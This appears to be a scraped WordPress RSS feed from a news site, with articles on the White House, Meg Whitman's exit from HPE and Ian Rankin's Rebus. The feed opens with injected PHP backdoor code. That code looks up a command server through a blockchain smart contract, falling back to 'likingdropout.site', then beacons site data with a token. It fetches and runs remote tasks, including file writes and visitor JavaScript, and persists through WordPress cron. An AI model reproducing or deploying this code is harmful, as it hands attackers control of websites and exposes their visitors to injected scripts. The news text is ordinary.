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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); bestknown – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 08 Feb 2018 16:21:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png bestknown – Brief News https://briefnews.eu 32 32 A look inside the White House — America’s best-known residential address https://briefnews.eu/a-look-inside-the-white-house-americas-best-known-residential-address/ https://briefnews.eu/a-look-inside-the-white-house-americas-best-known-residential-address/#respond Thu, 08 Feb 2018 16:21:00 +0000 http://briefnews.eu/a-look-inside-the-white-house-americas-best-known-residential-address/ white houseAP Photo/Pablo Martinez Monsivais

The White House is the most famous home in America.

Located at 1600 Pennsylvania Avenue in Washington DC, the White House is the official workplace and residence of the President of the United States, and every US leader since John Adams has called it his home.

The massive building contains three distinct sections — the West Wing, the East Wing, and the Executive Residence in the middle. It contains six levels, 132 rooms, 35 bathrooms, 412 doors, and 28 fireplaces. And it would take a whopping 570 gallons of paint to cover its outside surface.

Read on to take a tour of the president’s mansion and some of its most notable features.

Here’s an aerial view of the north side of the White House.

The National Archives

And here’s what it looks like from straight above.

Google Maps

This detailed layout of the White House shows the prominent rooms, offices, and private quarters.

The White House by Cyprian Lothringer, from Around the World, Copyright Gestalten 2013


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]]> https://briefnews.eu/a-look-inside-the-white-house-americas-best-known-residential-address/feed/ 0 Meg Whitman, one of Silicon Valley’s best-known execs, is stepping down from the CEO job at Hewlett Packard Enterprise (HPE) https://briefnews.eu/meg-whitman-one-of-silicon-valleys-best-known-execs-is-stepping-down-from-the-ceo-job-at-hewlett-packard-enterprise-hpe/ https://briefnews.eu/meg-whitman-one-of-silicon-valleys-best-known-execs-is-stepping-down-from-the-ceo-job-at-hewlett-packard-enterprise-hpe/#respond Thu, 23 Nov 2017 00:14:25 +0000 http://briefnews.eu/meg-whitman-one-of-silicon-valleys-best-known-execs-is-stepping-down-from-the-ceo-job-at-hewlett-packard-enterprise-hpe/ Meg WhitmanGetty Images

  • Hewlett Packard Enterprise’s CEO, Meg Whitman, is stepping down in February.
  • She will be replaced by Antonio Neri, the current president of HPE.
  • Whitman, who joined HPE’s predecessor, Hewlett-Packard, in 2011, was recently identified as being in the running to be the CEO of Uber, though she ultimately did not get that job.

Meg Whitman, the veteran Silicon Valley executive who steered Hewlett Packard Enterprise through its recent spinoff, will resign in February — a surprise announcement that comes several months after she was identified as interviewing for the CEO job at Uber, though she ultimately did not get it.

Whitman will be replaced by Antonio Neri, currently the president of HPE, but she will remain on the board of directors.

Shares of HPE, which also reported better-than-expected quarterly results on Tuesday, were down 6.6% in after-hours trading.

Whitman, 61, has taken HPE through some drastic changes since she joined in 2011 as the CEO of what was known as Hewlett-Packard. She has conducted layoffs that sliced tens of thousands of employees from HPE, with more layoffs expected.

She split the venerable company into HP Inc., the PC-and-printer company, and Hewlett Packard Enterprise, which made servers and other computer-networking wares for large companies. She captained HPE, while Dion Weisler took over HP Inc.

She also split off several other HPE business units, including its consulting and services business and its software business, often taking a stake in a partnership.

“Now is the right time for Antonio and a new generation of leaders to take the reins of HPE,” Whitman said in a statement announcing her departure.

HPE did not immediately respond to questions about the cause of Whitman’s resignation or her plans, nor did it make Whitman available for an interview.

From tech to politics and back again

Meg WhitmanAPWhitman became one of Silicon Valley’s best-known executives in the 1990s, when she left the toymaker Hasbro to join eBay, then a fledgling startup with 30 employees and $ 4 million in revenue.

Ten years later, she had turned eBay into one of the internet’s most recognizable brands, with $ 8 billion in revenue.

Whitman famously ran for California governor on the Republican ticket in 2010 and lost to Jerry Brown. She spent more of her own money on the race than any other self-funded political candidate in US history at the time — $ 144 million of her money out of the $ 178.5 million raised.

Her move to HP in 2011 took her to a company facing troubled times, having churned through a succession of CEOs and straining under a load of debt, especially from its troubled $ 11 billion acquisition of Autonomy.

More recently, Whitman acknowledged in August that she had interviewed for the CEO position at Uber, which went to Dara Khosrowshahi. However, she had continually promised that she was committed to HPE.

In September, when HPE reported fiscal third-quarter results, she said, “Lots more work to do, and I actually am not going anywhere.”

When news broke that she was on the shortlist for the job, the scuttlebutt was that it wouldn’t bode well for her long-term prospects at HPE, as it indicated a lack of commitment to a company that was paying her well and to her strategy of breaking HP into smaller pieces, the San Francisco Chronicle reported in August.

Here’s the press release announcing Whitman’s departure:

Hewlett Packard Enterprise Announces Antonio Neri to Succeed Meg Whitman as Chief Executive Officer

PALO ALTO, Calif., Nov. 21, 2017 (GLOBE NEWSWIRE) — Hewlett Packard Enterprise (NYSE:HPE) today announced that, effective February 1, 2018, Antonio Neri, current President of HPE, will become President and Chief Executive Officer, and will join the HPE Board of Directors. Meg Whitman, current Chief Executive Officer, will remain on the HPE Board of Directors.

“I’m incredibly proud of all we’ve accomplished since I joined HP in 2011. Today, Hewlett Packard moves forward as four industry-leading companies that are each well positioned to win in their respective markets,” said Meg Whitman, CEO of HPE. “Now is the right time for Antonio and a new generation of leaders to take the reins of HPE. I have tremendous confidence that they will continue to build a great company that will thrive well into the future.”

Meg Whitman was appointed President and CEO of HP in September 2011. Since then, she has executed against a five-year turnaround strategy that has repositioned the company to better compete and win in today’s environment. Under her leadership, the company rebuilt its balance sheet, reignited innovation, strengthened operations and improved customer and partner satisfaction. It also made strategic moves to focus and strengthen its portfolio, most notably its separation from HP Inc., which was the largest corporate separation in history. She also led the subsequent spin off and mergers of HPE’s Enterprise Services and Software businesses, as well as strategic acquisitions including Aruba, SGI, SimpliVity and Nimble Storage.

Under Whitman’s leadership, significant shareholder value has been created, including nearly $ 18 billion in share repurchases and dividends. Since the birth of HPE on November 2, 2015, the company has delivered a total shareholder return of 89 percent, which is more than three times that of the S&P 500.

During the past six years, Meg has worked tirelessly to bring stability, strength and resiliency back to an iconic company,” said Pat Russo, Chairman of HPE’s Board of Directors. “Antonio is an HPE veteran with a passion for the company’s customers, partners, employees and culture. He has worked at Meg’s side and is the right person to deliver on the vision the company has laid out.”

Neri, 50, joined HP in 1995 as a customer service engineer in the EMEA call center. He went on to hold various roles in HP’s Printing business and then to run customer service for HP’s Personal Systems unit. In 2011, Neri began running the company’s Technology Services business, then its Server and Networking business units, before running all of Enterprise Group beginning in 2015. As the leader for HPE’s largest business segment, comprising server, storage, networking and services solutions, Neri was responsible for setting the R&D agenda, bringing innovations to market, and go-to-market strategy and execution. Neri was appointed President of HPE in June 2017. In addition to leading the company’s four primary lines of business, as President, Neri has been responsible for HPE Next, a program to accelerate the company’s core performance and competitiveness.

“The world of technology is changing fast, and we’ve architected HPE to take advantage of where we see the markets heading,” said Antonio Neri, President of HPE. “HPE is in a tremendous position to win, and we remain focused on executing our strategy, driving our innovation agenda, and delivering the next wave of shareholder value.”

HPE’s strategy is based on three pillars. First, making Hybrid IT simple through its offerings in the traditional data center, software-defined infrastructure, systems software, private cloud and through cloud partnerships. Second, powering the Intelligent Edge through offerings from Aruba in Campus and Branch networking, and the Industrial Internet of Things (IoT) with products like Edgeline and its Universal IoT software platform. Third, providing the services that are critical to customers today, including Advisory, Professional and Operational Services.

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Ian Rankin celebrates 30 years of his best-known creation – Rebus

The award-winning author, 57, has only seen his brief cameos in the two previous ITV adaptations, one with John Hannah and the other with Ian Stott as the tough detective.

“I have never watched an episode because I did not want an actor’s voice, their mannerisms and faces to get into my head,” says Rankin.

“I talked to Colin Dexter and he said he changed Morse to be more like John Thaw, he changed the books to be more like the TV version because he was seduced by the performance.

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“I did not want to change Rebus, I wanted him to be my Rebus, so I made a conscious decision not to watch them. I have all the DVDs sitting on a shelf at home.”

The joy for me is in not knowing where the story will take me

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He adds: “I have seen five minutes. I have a couple of cameos, one in John Hannah’s and one in Ken Stott’s, so I have watched them, but I won’t be giving up the day job.”

Despite his reluctance to engage with TV adaptations of his much-loved detective in the way that Morse author Dexter did, Rankin does have high hopes that the third incarnation of Rebus will finally do justice to the nuances and themes of his books and the city of Edinburgh itself.

With Rebus fans having celebrated the 30th anniversary of the publication of the first book in the series, Knots And Crosses, this month, he sees it as fitting that Scottish playwright Gregory Burke, who wrote the critically-acclaimed screenplay for the film ’71, has been appointed to work up a “bold and visionary take” on Rebus.

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Ian Rankin, 57, has only seen his brief cameos in the two previous ITV adaptations

“We had lots of meetings before this was signed so I could be sure they would be done at length and would be shot in Edinburgh, which is where the books are set and that’s important,” Rankin says.

“The later ITV versions were one hour per book, which is 45 minutes with ad breaks. I just felt they were losing the nuances, the themes, and everything about Edinburgh as a great location.

“I know Gregory wants to bring all of this back, which is great. I am feeling very positive about it because Gregory is a great writer. I am staying out of it and we will see what happens.

“We have not talked casting yet, I don’t know what age he wants Rebus to be, but I am leaving it to them. It will be lovely to have it back on the TV, it will be lovely to see Edinburgh back on TV.”

Rebus’s 30th anniversary was marked with a weekend of events in the Scottish capital at the start of this month, Rebus Fest, which included a sold-out music night at the Queen’s Hall and a pub quiz.

The author says: “Rebus Fest was interesting because people had made a pilgrimage from all over the world. There were people there from Australia and America, from Scandinavia and all across Europe, as well as the UK, and you get to see what this character means to people.

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Rebus’s 30th anniversary was marked with a weekend of events in Edinburgh

“They want to explore his city and see the things he likes. So, for example, we had a music night with bands I thought Rebus would like, so not just bands I like. It was at the Queen’s Hall and sold out, so we had 800 people there and it was terrific.

“My favourite thing was that there is a writer’s museum in Edinburgh and there is an exhibition about the first book which will run until next January, so people can still go and see it, and it was about the run-up to the first book, so it includes my first contract for the first Rebus novel, for £1,500.

“It includes a letter about a possible TV deal for the first Rebus novel, where Leslie Grantham of EastEnders’ fame was going to play Rebus and that fell through.

“It includes letters from the five publishers who turned down the first Rebus book, so we name and shame.”

Rankin originally wrote the first Rebus novel as a standalone, so was delighted when a TV production company offered him the princely sum of £25,000 to move the story to London and cast Grantham, a household name in the late 1980s as Dirty Den in the BBC soap, in the lead role. This fell through when his agent disappeared during the negotiations: “She just disappeared off the face of the earth, she did a runner. I have never quite found out the story, she did reappear a few years later. I just had to go and get a new agent.”

Wanting to become the next John Le Carre, Rankin then wrote spy thriller Watchman, which did not sell well, followed by techno thriller Westwind, which also tanked.

At this point his editor said: “Whatever happened to that guy Rebus? I quite liked him.”

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Rankin says: “So I wrote a second book and the more I did, the more I became to like him and wanted to learn more about him. At that stage I was living in London and not having a great time of it. My wife and I were both working but not earning much money and living in a two-bed flat in Tottenham.

“We seemed to spend half our lives commuting, so for book three I decided to bring Rebus down to London to have as bad a time as I was having.

“So after three books I decided he was a good way of looking at the world. A cop, a detective, is the perfect means of looking at a messed-up society.

“The only comparison is a journalist, who has access to the highest and the lowest in the land, but you can always shut the door on a journalist, you would be unwise to shut the door on a cop, so he stuck around.”

It took until book six or seven for Rebus to become a commercial success but his editor and publisher believed in him and now, 30 years later, there have been 21 books taking the detective into retirement, where he is still solving crimes in an unofficial capacity to feel he still has a place in the world.

Rankin, who appeared at the Theakston Old Peculier Crime Writing Festival in North Yorkshire’s Harrogate last weekend, has refined a writing process that suits him, using a house in a remote fishing village in the north of Scotland to sit with his laptop and think about new books without any distractions.

He says: “When I have reached 100 pages I know whether it will work or not and I am fine to go back to Edinburgh and finish it.

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It took until book six or seven for Rebus to become a commercial success

“I’ll start it in the middle of nowhere in this little fishing village with no wi-fi, no mobile phone and no TV, and nobody around me and that does take me back almost to that childhood bedroom where I was drawing cartoons, or writing pop lyrics for bands that did not exist, or poems for girls I could not talk to.

“The one thing that always surprises readers is that I say when I start a book I have no idea how it will end.

“They say ‘You must’, they think you must start at the back and work back. But many of us don’t, we just make it up as we go along and hope and pray the story knows where it wants to go and, touch wood, so far it always has.

“Writing like that is a high-wire act, if it does not work you are screwed. Once I plotted a book out in such detail that by the time I came to write it I was bored with it.

“The joy for me is in not knowing where the story will take me.”

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